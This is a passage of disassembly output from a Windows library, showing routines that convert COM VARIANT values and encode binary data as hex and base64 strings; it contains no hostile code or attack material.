		jz	short loc_69B307F1
		cmp	edi, 26h
		jnz	short loc_69B30844
		mov	edi, [esi+8]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		push	edi		; lpString
		call	ds:lstrlenW	; lstrlenW
		push	eax
		push	edi
		call	sub_69B302A5
		mov	ebx, eax
		jmp	short loc_69B30833
; ---------------------------------------------------------------------------


loc_69B307F1:				; CODE XREF: sub_69B3078B+45j
		mov	eax, [esi+0Ch]
		cmp	eax, 0F21F494Ch
		mov	ecx, [esi+8]
		jl	short loc_69B30819
		jg	short loc_69B30808
		cmp	ecx, 589C0001h
		jb	short loc_69B30819


loc_69B30808:				; CODE XREF: sub_69B3078B+73j
		cmp	eax, 0DE0B6B3h
		jl	short loc_69B30844
		jg	short loc_69B30819
		cmp	ecx, 0A763FFFFh
		jbe	short loc_69B30844


loc_69B30819:				; CODE XREF: sub_69B3078B+71j
					; sub_69B3078B+7Bj ...
		mov	ebx, 8002000Ah
		jmp	short loc_69B30837
; ---------------------------------------------------------------------------


loc_69B30820:				; CODE XREF: sub_69B3078B+40j
		mov	eax, [esi+8]
		test	eax, eax
		jl	short loc_69B3082E
		cmp	eax, 0FFFDh
		jle	short loc_69B30844


loc_69B3082E:				; CODE XREF: sub_69B3078B+9Aj
		mov	ebx, 8002000Ah


loc_69B30833:				; CODE XREF: sub_69B3078B+64j
		test	ebx, ebx
		jz	short loc_69B30844


loc_69B30837:				; CODE XREF: sub_69B3078B+3Bj
					; sub_69B3078B+93j
		push	esi		; pvarg
		call	VariantClear
		push	ebx
		call	sub_69B2E8B8


loc_69B30844:				; CODE XREF: sub_69B3078B+4Aj
					; sub_69B3078B+82j ...
		mov	ecx, [ebp+var_4]
		xor	ecx, [ebp+4]
		pop	edi
		pop	esi
		pop	ebx
		call	sub_69B1B9F6
		leave
		retn	0Ch
sub_69B3078B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __stdcall	sub_69B30856(LPCWSTR strIn, ULONG cElements, int, int, int, VARIANTARG *pvar, int, int)

sub_69B30856	proc near		; CODE XREF: sub_69B2CFAA+E3p
					; sub_69B30C4F+D2p ...

strIn		= dword	ptr  8
cElements	= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
pvar		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+cElements], 0
		push	ebx
		push	esi
		mov	esi, [ebp+strIn]
		push	edi
		jnz	short loc_69B3086F
		push	esi		; lpString
		call	ds:lstrlenW	; lstrlenW
		mov	[ebp+cElements], eax


loc_69B3086F:				; CODE XREF: sub_69B30856+Dj
		mov	ebx, [ebp+arg_8]
		lea	eax, [ebx+ebx*2]
		shl	eax, 2
		mov	ecx, ds:dword_69B25F10[eax]
		test	ecx, ecx
		jz	short loc_69B308F9
		push	[ebp+arg_18]	; int
		mov	edi, [ebp+pvar]
		mov	eax, ds:dword_69B25F0C[eax]
		push	edi		; pvar
		push	ecx		; dwVtBits
		push	eax		; int
		push	[ebp+cElements]	; int
		push	esi		; strIn
		call	sub_69B2FCFF
		mov	esi, eax
		test	esi, esi
		jnz	loc_69B30990
		cmp	ebx, 0Eh
		jnz	short loc_69B308D9
		mov	ax, [edi+8]
		cmp	ax, 1
		jg	short loc_69B308CF
		test	ax, ax
		jl	short loc_69B308CF
		xor	ecx, ecx
		test	ax, ax
		setle	cl
		mov	word ptr [edi],	0Bh
		dec	ecx
		mov	[edi+8], cx
		jmp	loc_69B30997
; ---------------------------------------------------------------------------


loc_69B308CF:				; CODE XREF: sub_69B30856+5Bj
					; sub_69B30856+60j
		mov	esi, 80004005h
		jmp	loc_69B30997
; ---------------------------------------------------------------------------


loc_69B308D9:				; CODE XREF: sub_69B30856+51j
		cmp	ebx, 1Ch
		jnz	loc_69B30997
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+cElements]
		push	0
		call	sub_69B303F8
		mov	esi, eax
		jmp	loc_69B30997
; ---------------------------------------------------------------------------


loc_69B308F9:				; CODE XREF: sub_69B30856+2Aj
		cmp	ebx, 24h
		jz	short loc_69B30979
		cmp	ebx, 1Ah
		jz	short loc_69B30979
		push	[ebp+cElements]
		call	sub_69B1D897
		cmp	ebx, 0Dh
		mov	edi, eax
		jnz	short loc_69B30925
		push	[ebp+arg_18]
		lea	eax, [ebp+cElements]
		push	eax
		push	edi
		push	[ebp+cElements]
		push	esi
		call	sub_69B2FBDE
		jmp	short loc_69B3093B
; ---------------------------------------------------------------------------


loc_69B30925:				; CODE XREF: sub_69B30856+BAj
		cmp	ebx, 0Ch
		jnz	short loc_69B3093F
		push	[ebp+arg_18]
		lea	eax, [ebp+cElements]
		push	eax
		push	edi
		push	[ebp+cElements]
		push	esi
		call	sub_69B3065C


loc_69B3093B:				; CODE XREF: sub_69B30856+CDj
		mov	esi, eax
		jmp	short loc_69B30942
; ---------------------------------------------------------------------------


loc_69B3093F:				; CODE XREF: sub_69B30856+D2j
		mov	esi, [ebp+cElements]


loc_69B30942:				; CODE XREF: sub_69B30856+E7j
		test	esi, esi
		jnz	short loc_69B30971
		push	[ebp+arg_10]
		mov	ebx, [ebp+cElements]
		push	[ebp+arg_C]
		push	ebx
		push	esi
		call	sub_69B303F8
		mov	esi, eax
		test	esi, esi
		jnz	short loc_69B30971
		mov	eax, [ebp+arg_1C]
		test	eax, eax
		jz	short loc_69B30965
		mov	[eax], ebx


loc_69B30965:				; CODE XREF: sub_69B30856+10Bj
		push	ebx		; cElements
		push	edi		; int
		push	[ebp+pvar]	; int
		call	sub_69B2FC8D
		mov	esi, eax


loc_69B30971:				; CODE XREF: sub_69B30856+EEj
					; sub_69B30856+104j
		push	edi
		call	sub_69B1B2B7
		jmp	short loc_69B30997
; ---------------------------------------------------------------------------


loc_69B30979:				; CODE XREF: sub_69B30856+A6j
					; sub_69B30856+ABj
		push	[ebp+arg_18]
		mov	edi, [ebp+pvar]
		push	edi
		push	ebx
		push	[ebp+cElements]
		push	esi
		call	sub_69B2FD9A
		mov	esi, eax
		test	esi, esi
		jz	short loc_69B30997


loc_69B30990:				; CODE XREF: sub_69B30856+48j
		push	edi		; pvarg
		call	VariantClear


loc_69B30997:				; CODE XREF: sub_69B30856+74j
					; sub_69B30856+7Ej ...
		pop	edi
		mov	eax, esi
		pop	esi
		pop	ebx
		pop	ebp
		retn	20h
sub_69B30856	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B309A0	proc near		; CODE XREF: sub_69B30E5D+F6p
		push	10h
		push	offset dword_69B30A68
		call	sub_69B19C5C
		mov	edi, [ebp+0Ch]
		mov	esi, [ebp+10h]
		lea	ebx, [esi+esi]
		and	dword ptr [ebp-1Ch], 0
		lea	eax, [ebx+ebx]
		push	eax
		call	sub_69B11E44
		mov	[ebp-20h], eax
		test	eax, eax
		jnz	short loc_69B309D3
		mov	eax, 8007000Eh
		jmp	loc_69B30A5A
; ---------------------------------------------------------------------------


loc_69B309D3:				; CODE XREF: sub_69B309A0+27j
		test	esi, esi
		jz	short loc_69B30A14
		push	2
		pop	edx


loc_69B309DA:				; CODE XREF: sub_69B309A0+72j
		mov	cl, [edi]
		shr	cl, 4
		cmp	cl, 9
		movzx	cx, cl
		jbe	short loc_69B309ED
		add	ecx, 57h
		jmp	short loc_69B309F0
; ---------------------------------------------------------------------------


loc_69B309ED:				; CODE XREF: sub_69B309A0+46j
		add	ecx, 30h


loc_69B309F0:				; CODE XREF: sub_69B309A0+4Bj
		mov	[eax], cx
		add	eax, edx
		mov	cl, [edi]
		and	cl, 0Fh
		cmp	cl, 9
		movzx	cx, cl
		jbe	short loc_69B30A08
		add	ecx, 57h
		jmp	short loc_69B30A0B
; ---------------------------------------------------------------------------


loc_69B30A08:				; CODE XREF: sub_69B309A0+61j
		add	ecx, 30h


loc_69B30A0B:				; CODE XREF: sub_69B309A0+66j
		mov	[eax], cx
		add	eax, edx
		inc	edi
		dec	esi
		jnz	short loc_69B309DA


loc_69B30A14:				; CODE XREF: sub_69B309A0+35j
		and	dword ptr [ebp-4], 0
		push	ebx
		push	0
		push	dword ptr [ebp-20h]
		call	sub_69B190A9
		mov	ecx, [ebp+8]
		mov	[ecx], eax
		jmp	short loc_69B30A4B
; ---------------------------------------------------------------------------


loc_69B30A2A:				; DATA XREF: .text:69B30A6Co
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B30A33:				; DATA XREF: .text:69B30A70o
		mov	esp, [ebp-18h]
		call	sub_69B2E808
		mov	ecx, eax
		call	sub_69B2E804
		mov	[ebp-1Ch], eax
		mov	eax, [ebp+8]
		and	dword ptr [eax], 0


loc_69B30A4B:				; CODE XREF: sub_69B309A0+88j
		or	dword ptr [ebp-4], 0FFFFFFFFh
		push	dword ptr [ebp-20h]
		call	sub_69B1B2B7
		mov	eax, [ebp-1Ch]


loc_69B30A5A:				; CODE XREF: sub_69B309A0+2Ej
		call	sub_69B1853C
		retn	0Ch
sub_69B309A0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 8
dword_69B30A68	dd 0FFFFFFFFh			dd offset loc_69B30A2A
		dd offset loc_69B30A33

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B30A74	proc near		; CODE XREF: sub_69B30E5D+10Cp

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
lpString	= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	eax, [ebp+arg_8]
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		push	edi
		xor	edi, edi
		mov	[eax], edi
		push	36h
		lea	eax, [ebx+3]
		cdq
		pop	ecx
		idiv	ecx
		mov	[ebp+var_C], edi
		imul	eax, 128h
		add	eax, 254h
		push	eax
		call	sub_69B11E44
		mov	esi, [ebp+arg_0]
		mov	ecx, eax
		cmp	ecx, edi
		mov	[ebp+lpString],	ecx
		mov	[ebp+arg_0], edi
		jnz	short loc_69B30ABF
		mov	[ebp+var_C], 8007000Eh
		jmp	loc_69B30C45
; ---------------------------------------------------------------------------


loc_69B30ABF:				; CODE XREF: sub_69B30A74+3Dj
		cmp	ebx, 3
		push	2
		pop	edi
		jl	loc_69B30B7A
		mov	eax, ebx
		xor	edx, edx
		push	3
		pop	ebx
		div	ebx
		mov	[ebp+var_4], eax
		lea	eax, [eax+eax*2]
		mov	edx, eax
		mov	eax, [ebp+arg_4]
		sub	eax, edx
		mov	[ebp+var_10], eax


loc_69B30AE4:				; CODE XREF: sub_69B30A74+FDj
		mov	al, [esi+1]
		mov	dl, [esi]
		mov	bl, al
		shr	bl, 4
		and	dl, 3
		shl	dl, 4
		or	dl, bl
		and	al, 0Fh
		mov	byte ptr [ebp+arg_4+3],	dl
		mov	dl, [esi+2]
		shl	al, 2
		mov	bl, dl
		shr	bl, 6
		or	al, bl
		movzx	ebx, byte ptr [esi]
		add	[ebp+arg_0], 4
		shr	ebx, 2
		mov	bx, word ptr ds:aAbcdefghijklmn[ebx*2] ; "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklm"...
		mov	[ecx], bx
		movzx	ebx, byte ptr [ebp+arg_4+3]
		mov	bx, word ptr ds:aAbcdefghijklmn[ebx*2] ; "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklm"...
		add	ecx, edi
		mov	[ecx], bx
		movzx	eax, al
		mov	ax, word ptr ds:aAbcdefghijklmn[eax*2] ; "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklm"...
		add	ecx, edi
		mov	[ecx], ax
		and	dl, 3Fh
		movzx	eax, dl
		mov	ax, word ptr ds:aAbcdefghijklmn[eax*2] ; "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklm"...
		add	ecx, edi
		mov	[ecx], ax
		add	ecx, edi
		add	esi, 3
		cmp	[ebp+arg_0], 48h
		jl	short loc_69B30B6E
		mov	word ptr [ecx],	0Dh
		add	ecx, edi
		mov	word ptr [ecx],	0Ah
		add	ecx, edi
		and	[ebp+arg_0], 0


loc_69B30B6E:				; CODE XREF: sub_69B30A74+E6j
		dec	[ebp+var_4]
		jnz	loc_69B30AE4
		mov	ebx, [ebp+var_10]


loc_69B30B7A:				; CODE XREF: sub_69B30A74+51j
		mov	eax, [ebp+arg_0]
		add	eax, 4
		cmp	eax, 48h
		jl	short loc_69B30B93
		mov	word ptr [ecx],	0Dh
		add	ecx, edi
		mov	word ptr [ecx],	0Ah
		add	ecx, edi


loc_69B30B93:				; CODE XREF: sub_69B30A74+10Fj
		test	ebx, ebx
		jz	loc_69B30C2C
		cmp	ebx, 1
		jnz	short loc_69B30BD3
		mov	dl, [esi]
		mov	al, dl
		and	al, 3
		movzx	edx, dl
		shl	al, 4
		shr	edx, 2
		mov	dx, word ptr ds:aAbcdefghijklmn[edx*2] ; "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklm"...
		mov	[ecx], dx
		movzx	eax, al
		mov	ax, word ptr ds:aAbcdefghijklmn[eax*2] ; "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklm"...
		add	ecx, edi
		mov	[ecx], ax
		add	ecx, edi
		mov	word ptr [ecx],	3Dh
		jmp	short loc_69B30C23
; ---------------------------------------------------------------------------


loc_69B30BD3:				; CODE XREF: sub_69B30A74+12Aj
		cmp	ebx, edi
		jnz	short loc_69B30C2C
		mov	dl, [esi]
		mov	al, [esi+1]
		mov	byte ptr [ebp+arg_4+3],	dl
		movzx	esi, byte ptr [ebp+arg_4+3]
		and	dl, 3
		mov	bl, al
		shl	dl, 4
		shr	bl, 4
		or	dl, bl
		and	al, 0Fh
		shr	esi, 2
		mov	si, word ptr ds:aAbcdefghijklmn[esi*2] ; "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklm"...
		mov	[ecx], si
		shl	al, 2
		movzx	edx, dl
		mov	dx, word ptr ds:aAbcdefghijklmn[edx*2] ; "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklm"...
		add	ecx, edi
		movzx	eax, al
		mov	[ecx], dx
		mov	ax, word ptr ds:aAbcdefghijklmn[eax*2] ; "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklm"...
		add	ecx, edi
		mov	[ecx], ax


loc_69B30C23:				; CODE XREF: sub_69B30A74+15Dj
		add	ecx, edi
		mov	word ptr [ecx],	3Dh
		add	ecx, edi


loc_69B30C2C:				; CODE XREF: sub_69B30A74+121j
					; sub_69B30A74+161j
		push	[ebp+lpString]	; lpString
		and	word ptr [ecx],	0
		call	sub_69B1A587
		mov	ecx, [ebp+arg_8]
		push	[ebp+lpString]
		mov	[ecx], eax
		call	sub_69B1B2B7


loc_69B30C45:				; CODE XREF: sub_69B30A74+46j
		mov	eax, [ebp+var_C]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	0Ch
sub_69B30A74	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __stdcall	sub_69B30C4F(int, int cElements, int, int, int,	VARIANTARG *pvar, int, int)

sub_69B30C4F	proc near		; CODE XREF: sub_69B30DEE+1Dp
					; sub_69B5AA03+2Cp ...

var_1C		= byte ptr -1Ch
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
cElements	= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
pvar		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		mov	eax, dword_69B92170
		xor	eax, [ebp+4]
		mov	edx, [ebp+arg_8]
		and	[ebp+var_8], 0
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		mov	edi, [ebp+pvar]
		lea	ebx, [edi+8]
		and	dword ptr [ebx], 0
		test	edx, edx
		mov	[ebp+var_4], eax
		mov	[ebp+var_C], esi
		mov	[ebp+arg_0], esi
		mov	word ptr [edi],	1
		jl	short loc_69B30C8A
		cmp	edx, 0Bh
		jle	short loc_69B30C8F


loc_69B30C8A:				; CODE XREF: sub_69B30C4F+34j
		cmp	edx, 25h
		jnz	short loc_69B30CC5


loc_69B30C8F:				; CODE XREF: sub_69B30C4F+39j
		mov	ecx, [ebp+arg_18]
		test	ecx, ecx
		mov	eax, [ebp+cElements]
		jz	short loc_69B30C9E
		lea	edi, [esi+eax*2]
		mov	[ecx], edi


loc_69B30C9E:				; CODE XREF: sub_69B30C4F+48j
		mov	ecx, [ebp+arg_1C]
		test	ecx, ecx
		jz	short loc_69B30CA7
		mov	[ecx], eax


loc_69B30CA7:				; CODE XREF: sub_69B30C4F+54j
		cmp	edx, 1
		jnz	loc_69B30DCC
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	eax
		push	esi
		call	sub_69B303F8
		mov	[ebp+var_8], eax
		jmp	loc_69B30DCC
; ---------------------------------------------------------------------------


loc_69B30CC5:				; CODE XREF: sub_69B30C4F+3Ej
		test	esi, esi
		jz	loc_69B30DD1
		push	[ebp+cElements]
		push	esi
		call	sub_69B2FB5A
		mov	esi, eax
		cmp	word ptr [esi],	0
		jz	loc_69B30DD1
		cmp	[ebp+cElements], 0
		jz	loc_69B30DD1
		sub	eax, [ebp+var_C]
		mov	ecx, [ebp+arg_1C]
		sar	eax, 1
		sub	[ebp+cElements], eax
		test	ecx, ecx
		jz	short loc_69B30D00
		mov	eax, [ebp+cElements]
		mov	[ecx], eax


loc_69B30D00:				; CODE XREF: sub_69B30C4F+AAj
		mov	eax, [ebp+arg_8]
		lea	edx, [eax+eax*2]
		cmp	ds:dword_69B25F0C[edx*4], 0
		jz	short loc_69B30D2B
		push	ecx		; int
		lea	ecx, [ebp+arg_0]
		push	ecx		; int
		push	edi		; pvar
		push	[ebp+arg_10]	; int
		push	[ebp+arg_C]	; int
		push	eax		; int
		push	[ebp+cElements]	; cElements
		push	esi		; strIn
		call	sub_69B30856


loc_69B30D26:				; CODE XREF: sub_69B30C4F+108j
		mov	[ebp+var_8], eax
		jmp	short loc_69B30D8F
; ---------------------------------------------------------------------------


loc_69B30D2B:				; CODE XREF: sub_69B30C4F+BFj
		cmp	eax, 0Fh
		jz	short loc_69B30D7F
		jle	short loc_69B30D76
		cmp	eax, 12h
		jle	short loc_69B30D59
		cmp	eax, 1Eh
		jle	short loc_69B30D76
		cmp	eax, 20h
		jle	short loc_69B30D59
		cmp	eax, 26h
		jnz	short loc_69B30D76
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_1C]
		push	eax
		push	[ebp+cElements]
		push	esi
		call	sub_69B302A5
		jmp	short loc_69B30D26
; ---------------------------------------------------------------------------


loc_69B30D59:				; CODE XREF: sub_69B30C4F+E6j
					; sub_69B30C4F+F0j
		lea	ecx, [ebp+arg_0]
		push	ecx		; int
		push	ebx		; pdateOut
		push	eax		; int
		push	[ebp+cElements]	; int
		push	esi		; int
		call	sub_69B2FF1E
		test	eax, eax
		mov	[ebp+var_8], eax
		jnz	short loc_69B30D8F
		mov	word ptr [edi],	7
		jmp	short loc_69B30D8F
; ---------------------------------------------------------------------------


loc_69B30D76:				; CODE XREF: sub_69B30C4F+E1j
					; sub_69B30C4F+EBj ...
		mov	[ebp+var_8], 80004005h
		jmp	short loc_69B30D8F
; ---------------------------------------------------------------------------


loc_69B30D7F:				; CODE XREF: sub_69B30C4F+DFj
		mov	word ptr [edi],	3
		movzx	eax, word ptr [esi]
		mov	[ebx], eax
		lea	eax, [esi+2]
		mov	[ebp+arg_0], eax


loc_69B30D8F:				; CODE XREF: sub_69B30C4F+DAj
					; sub_69B30C4F+11Ej ...
		mov	eax, [ebp+arg_18]
		test	eax, eax
		jz	short loc_69B30D9D
		mov	ecx, [ebp+arg_0]
		mov	[eax], ecx
		jmp	short loc_69B30DCC
; ---------------------------------------------------------------------------


loc_69B30D9D:				; CODE XREF: sub_69B30C4F+145j
		mov	eax, [ebp+cElements]
		mov	edi, [ebp+arg_0]
		lea	eax, [esi+eax*2]
		cmp	edi, eax
		jnb	short loc_69B30DCC
		mov	eax, edi
		sub	eax, esi
		sar	eax, 1
		sub	[ebp+cElements], eax
		push	[ebp+cElements]
		push	edi
		call	sub_69B2FB5A
		sub	eax, edi
		sar	eax, 1
		cmp	eax, [ebp+cElements]
		jge	short loc_69B30DCC
		mov	[ebp+var_8], 80004005h


loc_69B30DCC:				; CODE XREF: sub_69B30C4F+5Bj
					; sub_69B30C4F+71j ...
		mov	eax, [ebp+var_8]
		jmp	short loc_69B30DDC
; ---------------------------------------------------------------------------


loc_69B30DD1:				; CODE XREF: sub_69B30C4F+78j
					; sub_69B30C4F+8Dj ...
		mov	eax, [ebp+arg_18]
		test	eax, eax
		jz	short loc_69B30DDA
		mov	[eax], esi


loc_69B30DDA:				; CODE XREF: sub_69B30C4F+187j
		xor	eax, eax


loc_69B30DDC:				; CODE XREF: sub_69B30C4F+180j
		mov	ecx, [ebp+var_4]
		xor	ecx, [ebp+4]
		pop	edi
		pop	esi
		pop	ebx
		call	sub_69B1B9F6
		leave
		retn	20h
sub_69B30C4F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __stdcall	sub_69B30DEE(int, int cElements, int, int, int,	VARIANTARG *pvar, int, int)

sub_69B30DEE	proc near		; CODE XREF: sub_69B4858B+9Fp
					; sub_69B59EB7+45p ...

arg_0		= dword	ptr  8
cElements	= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
pvar		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		push	esi
		push	[ebp+arg_1C]	; int
		mov	esi, [ebp+arg_8]
		push	[ebp+arg_18]	; int
		push	[ebp+pvar]	; pvar
		push	[ebp+arg_10]	; int
		push	[ebp+arg_C]	; int
		push	esi		; int
		push	[ebp+cElements]	; cElements
		push	[ebp+arg_0]	; int
		call	sub_69B30C4F
		test	eax, eax
		jge	short loc_69B30E58
		cmp	eax, 80004005h
		jz	short loc_69B30E29
		push	0
		push	eax
		push	eax
		call	sub_69B2E9D0
		add	esp, 0Ch
		jmp	short loc_69B30E58
; ---------------------------------------------------------------------------


loc_69B30E29:				; CODE XREF: sub_69B30DEE+2Bj
		push	edi
		push	[ebp+cElements]
		push	[ebp+arg_0]
		call	sub_69B190C1
		mov	edi, eax
		mov	eax, off_69B96390[esi*4]
		push	0
		push	eax		; lpString
		call	sub_69B1A587
		push	eax
		mov	eax, 0C00CE201h
		push	edi
		push	eax
		push	eax
		call	sub_69B2E9D0
		add	esp, 14h
		pop	edi


loc_69B30E58:				; CODE XREF: sub_69B30DEE+24j
					; sub_69B30DEE+39j
		pop	esi
		pop	ebp
		retn	20h
sub_69B30DEE	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B30E5D	proc near		; CODE XREF: sub_69B4B801+1Ep
					; sub_69B64D43+24p
		push	48h
		push	offset dword_69B31090
		call	sub_69B19C5C
		mov	eax, dword_69B92170
		xor	eax, [ebp+4]
		mov	[ebp-1Ch], eax
		xor	edi, edi
		mov	[ebp-20h], edi
		mov	[ebp-24h], edi
		mov	[ebp-28h], di
		mov	[ebp-26h], di
		mov	word ptr [ebp-38h], 1
		mov	ebx, [ebp+10h]
		cmp	ebx, 12h
		jg	loc_69B30F7B
		cmp	ebx, 10h
		jge	loc_69B30FE2
		cmp	ebx, 0Ch
		jl	loc_69B30FFB
		cmp	ebx, 0Dh
		jle	short loc_69B30EF0
		cmp	ebx, 0Eh
		jz	short loc_69B30ECE
		cmp	ebx, 0Fh
		jnz	loc_69B30FFB
		mov	esi, [ebp+0Ch]
		mov	ax, [esi+8]
		mov	[ebp-28h], ax
		lea	eax, [ebp-28h]
		jmp	loc_69B30FDD
; ---------------------------------------------------------------------------


loc_69B30ECE:				; CODE XREF: sub_69B30E5D+53j
		mov	esi, [ebp+0Ch]
		cmp	word ptr [esi+8], 0FFFFh
		jnz	short loc_69B30EE4
		mov	dword ptr [ebp-24h], offset dword_69B31088
		jmp	loc_69B30FFE
; ---------------------------------------------------------------------------


loc_69B30EE4:				; CODE XREF: sub_69B30E5D+79j
		mov	dword ptr [ebp-24h], offset dword_69B31084
		jmp	loc_69B30FFE
; ---------------------------------------------------------------------------


loc_69B30EF0:				; CODE XREF: sub_69B30E5D+4Ej
		mov	[ebp-3Ch], edi
		mov	esi, [ebp+0Ch]
		lea	eax, [ebp-40h]
		push	eax		; plLbound
		push	1		; nDim
		push	dword ptr [esi+8] ; psa
		call	SafeArrayGetLBound
		mov	edi, eax
		test	edi, edi
		jnz	loc_69B3105A
		lea	eax, [ebp-44h]
		push	eax		; plUbound
		push	1		; nDim
		push	dword ptr [esi+8] ; psa
		call	SafeArrayGetUBound
		mov	edi, eax
		test	edi, edi
		jnz	loc_69B3105A
		lea	eax, [ebp-3Ch]
		push	eax		; ppvData
		push	dword ptr [esi+8] ; psa
		call	SafeArrayAccessData
		mov	edi, eax
		test	edi, edi
		jnz	loc_69B3105A
		cmp	ebx, 0Dh
		jnz	short loc_69B30F5A
		mov	eax, [ebp-44h]
		sub	eax, [ebp-40h]
		inc	eax
		push	eax
		push	dword ptr [ebp-3Ch]
		lea	eax, [ebp-20h]
		push	eax
		call	sub_69B309A0
		jmp	short loc_69B30F6E
; ---------------------------------------------------------------------------


loc_69B30F5A:				; CODE XREF: sub_69B30E5D+E5j
		lea	eax, [ebp-20h]
		push	eax
		mov	eax, [ebp-44h]
		sub	eax, [ebp-40h]
		inc	eax
		push	eax
		push	dword ptr [ebp-3Ch]
		call	sub_69B30A74


loc_69B30F6E:				; CODE XREF: sub_69B30E5D+FBj
		mov	edi, eax
		push	dword ptr [esi+8] ; psa
		call	SafeArrayUnaccessData
		jmp	short loc_69B30FF5
; ---------------------------------------------------------------------------


loc_69B30F7B:				; CODE XREF: sub_69B30E5D+33j
		cmp	ebx, 1Fh
		jl	short loc_69B30FFB
		cmp	ebx, 20h
		jle	short loc_69B30FE2
		cmp	ebx, 26h
		jz	short loc_69B30F99
		cmp	ebx, 27h
		jnz	short loc_69B30FFB
		mov	edi, 80004005h
		jmp	loc_69B3105A
; ---------------------------------------------------------------------------


loc_69B30F99:				; CODE XREF: sub_69B30E5D+12Bj
		push	8		; vt
		push	1		; wFlags
		push	409h		; lcid
		mov	esi, [ebp+0Ch]
		push	esi		; pvarSrc
		lea	eax, [ebp-38h]
		push	eax		; pvargDest
		call	VariantChangeTypeEx
		mov	edi, eax
		test	edi, edi
		jnz	loc_69B3105A
		mov	edi, [ebp-30h]
		push	eax
		lea	eax, [ebp-54h]
		push	eax
		push	edi		; lpString
		call	ds:lstrlenW	; lstrlenW
		push	eax
		push	edi
		call	sub_69B302A5
		mov	edi, eax
		test	edi, edi
		jnz	loc_69B3105A
		mov	eax, [ebp-30h]


loc_69B30FDD:				; CODE XREF: sub_69B30E5D+6Cj
		mov	[ebp-24h], eax
		jmp	short loc_69B30FFE
; ---------------------------------------------------------------------------


loc_69B30FE2:				; CODE XREF: sub_69B30E5D+3Cj
					; sub_69B30E5D+126j
		mov	esi, [ebp+0Ch]
		lea	eax, [esi+8]
		push	eax
		push	ebx
		lea	eax, [ebp-20h]
		push	eax
		call	sub_69B304F3
		mov	edi, eax


loc_69B30FF5:				; CODE XREF: sub_69B30E5D+11Cj
		test	edi, edi
		jnz	short loc_69B3105A
		jmp	short loc_69B30FFE
; ---------------------------------------------------------------------------


loc_69B30FFB:				; CODE XREF: sub_69B30E5D+45j
					; sub_69B30E5D+58j ...
		mov	esi, [ebp+0Ch]


loc_69B30FFE:				; CODE XREF: sub_69B30E5D+82j
					; sub_69B30E5D+8Ej ...
		xor	eax, eax
		mov	[ebp-4], eax
		cmp	[ebp-24h], eax
		jz	short loc_69B3100D
		push	dword ptr [ebp-24h]
		jmp	short loc_69B31032
; ---------------------------------------------------------------------------


loc_69B3100D:				; CODE XREF: sub_69B30E5D+1A9j
		cmp	[ebp-20h], eax
		jnz	short loc_69B31056
		push	8		; vt
		push	1		; wFlags
		push	409h		; lcid
		push	esi		; pvarSrc
		lea	eax, [ebp-38h]
		push	eax		; pvargDest
		call	VariantChangeTypeEx
		mov	edi, eax
		mov	[ebp-58h], edi
		test	edi, edi
		jnz	short loc_69B31056
		push	dword ptr [ebp-30h] ; lpString


loc_69B31032:				; CODE XREF: sub_69B30E5D+1AEj
		call	sub_69B1A587
		mov	[ebp-20h], eax
		jmp	short loc_69B31056
; ---------------------------------------------------------------------------


loc_69B3103C:				; DATA XREF: .text:69B31094o
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B31045:				; DATA XREF: .text:69B31098o
		mov	esp, [ebp-18h]
		call	sub_69B2E808
		mov	ecx, eax
		call	sub_69B2E804
		mov	edi, eax


loc_69B31056:				; CODE XREF: sub_69B30E5D+1B3j
					; sub_69B30E5D+1D0j ...
		or	dword ptr [ebp-4], 0FFFFFFFFh


loc_69B3105A:				; CODE XREF: sub_69B30E5D+ACj
					; sub_69B30E5D+C5j ...
		lea	eax, [ebp-38h]
		push	eax		; pvarg
		call	VariantClear
		mov	eax, [ebp+8]
		mov	ecx, [ebp-20h]
		mov	[eax], ecx
		mov	eax, edi
		mov	ecx, [ebp-1Ch]
		xor	ecx, [ebp+4]
		call	sub_69B1B9F6
		call	sub_69B1853C
		retn	0Ch
